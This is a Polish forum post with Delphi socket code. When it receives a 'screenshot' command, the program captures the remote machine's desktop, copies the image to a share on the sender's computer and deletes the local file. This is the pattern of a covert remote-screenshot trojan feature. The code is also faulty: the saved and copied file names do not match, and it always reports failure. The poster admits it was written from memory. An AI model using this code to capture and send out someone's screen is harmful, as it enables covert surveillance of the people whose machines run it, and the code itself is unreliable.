Stwórz u siebie katalog z udostępnieniem na pełne i pisz :) np. katalog ma nazwę "Debil" a komputer nazwę "Casio" :P
=w twojej aplikacji=
clientsocket1.socket.sendtext('screenshot');
a t w aplikacji, która odbiera komendy (kod wzięty z: kody źródłowe>delphi>bat.zip
procedure onserversckterread czy jakos tak
var
iCanvas : TCanvas;
Bitmap : TBitmap;
begin
if receivetext = 'screenshot' then
begin
iCanvas := TCanvas.Create;
Bitmap := TBitmap.Create;
try
iCanvas.Handle := GetWindowDC(GetDesktopWindow);
Bitmap.Width := Screen.Width;
Bitmap.Height := Screen.Height;
Bitmap.Canvas.CopyRect(Rect(0, 0, Screen.Width, Screen.Height), iCanvas,
Rect(0, 0, Screen.Width, Screen.Height));
Bitmap.SaveToFile('C:\\OPEK.bmp');
copyfile('C:\screenshot.bmp','\\Casio\Debil\screenshot.bmp',false);
deletefile('C:\screenshot.bmp');
finally
socket.connections[0].sendtext := 'Akcja nie powiodła się.'; //0 to numer tego, który jest podłączony - zostaw tak jak jest jeżeli jesteś pewien, że nit inny nie jest podłączony do tej samej aplikacji.
iCanvas.Free;
Bitmap.Free;
end;
end;
end;
piszę zpamięci więc nie wiem czy zadziała :)